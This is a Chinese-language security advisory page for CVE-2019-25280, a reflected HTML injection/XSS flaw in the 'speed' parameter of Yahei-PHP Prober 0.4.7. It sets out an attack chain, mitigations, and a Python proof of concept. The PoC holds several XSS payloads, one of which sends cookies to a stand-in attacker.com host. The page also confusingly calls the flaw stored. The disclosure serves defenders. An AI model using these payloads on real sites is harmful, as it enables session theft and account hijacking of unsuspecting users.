IPBUF安全漏洞报告
English
CVE-2019-25280 CVSS 6.1 中危

CVE-2019-25280 Yahei-PHP Prober远程HTML注入漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2019-25280
漏洞类型
HTML注入/XSS跨站脚本
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Yahei-PHP Prober

相关标签

HTML注入XSS跨站脚本Yahei-PHP Prober远程代码注入CVE-2019-25280PHP探针Web安全

漏洞概述

CVE-2019-25280是Yahei-PHP Prober 0.4.7版本中存在的一个远程HTML注入漏洞。该漏洞允许未经认证的攻击者通过构造恶意的'speed' GET参数,在目标网页中注入任意HTML代码。当其他用户访问包含恶意代码的页面时,攻击者可以在用户浏览器会话中执行任意的HTML和JavaScript代码,从而实现跨站脚本攻击(XSS)。攻击者可以利用此漏洞窃取用户的会话cookie、劫持用户账户、进行钓鱼攻击或植入恶意重定向。Yahei-PHP Prober是一款用于探测服务器环境配置的PHP探针工具,广泛应用于国内中小型网站服务器环境中。由于该工具通常部署在服务器根目录或admin目录下,攻击者容易发现并利用此漏洞。漏洞的根源在于程序未对用户输入的'speed'参数进行充分的输入验证和输出编码,直接将用户输入嵌入到HTML响应中,导致恶意代码得以执行。

技术细节

该漏洞属于存储型HTML注入漏洞,攻击向量为HTTP GET请求。漏洞存在于prober.php文件的'speed'参数处理逻辑中。具体来说,当用户通过URL参数speed传递数据时,程序直接将此参数值未经过滤地嵌入到页面HTML代码的相应位置。攻击者可以构造如下恶意Payload:speed=<script>alert(document.cookie)</script>或speed=<img src=x onerror=alert(1)>。由于程序未对输入进行HTML实体编码,浏览器会将这些恶意代码作为正常的HTML/JavaScript执行。攻击者首先需要诱使目标用户访问包含恶意代码的URL链接。一旦用户访问,浏览器会执行注入的JavaScript代码,攻击者即可获取用户的认证信息、会话令牌或其他敏感数据。漏洞利用条件较为宽松,无需任何认证,攻击者只需构造特定URL并诱导用户点击即可。该漏洞与传统的反射型XSS不同,恶意代码会被存储在URL参数中,每次访问都会触发执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用的Yahei-PHP Prober版本(<= 0.4.7),通常位于/prober.php路径
STEP 2
步骤2
构造Payload:攻击者构造包含恶意JavaScript代码的'speed'参数,如<script>alert(document.cookie)</script>
STEP 3
步骤3
社工诱导:攻击者通过钓鱼邮件、社交工程或恶意链接诱导目标用户访问构造好的恶意URL
STEP 4
步骤4
触发执行:目标用户浏览器访问URL后,恶意HTML/JavaScript代码被嵌入页面并执行
STEP 5
步骤5
数据窃取:恶意脚本窃取用户Cookie、会话令牌或其他敏感信息,并发送至攻击者控制的服务器
STEP 6
步骤6
账户劫持:攻击者利用窃取的会话信息劫持用户账户,执行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2019-25280 PoC - Yahei-PHP Prober HTML Injection # Affected Version: Yahei-PHP Prober <= 0.4.7 # Attack Vector: GET parameter 'speed' # Impact: Stored XSS, Cookie Theft, Session Hijacking import requests from urllib.parse import quote target_url = "http://target.com/prober.php" # XSS payload to steal cookies xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Alternative payloads alt_payloads = [ '<img src=x onerror=alert(document.cookie)>', '<svg onload=alert(1)>', '<iframe src="javascript:alert(document.domain)">' ] # Construct malicious URL malicious_url = f"{target_url}?speed={quote(xss_payload)}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {xss_payload}") # Verify vulnerability try: response = requests.get(malicious_url, timeout=10) if xss_payload in response.text: print("[+] VULNERABLE: Payload successfully injected") else: print("[-] Possibly patched or not vulnerable") except requests.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

Yahei-PHP Prober <= 0.4.7

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1) 在Web服务器层面配置URL参数过滤规则,拒绝包含<script>、<img>、<iframe>等HTML标签的请求;2) 对prober.php文件进行紧急补丁,为所有echo/print输出添加htmlspecialchars()函数进行输出编码;3) 限制对探针页面的访问,仅允许授权IP访问;4) 考虑使用功能更完善且持续更新的探针工具替代Yahei-PHP Prober;5) 加强服务器日志监控,及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表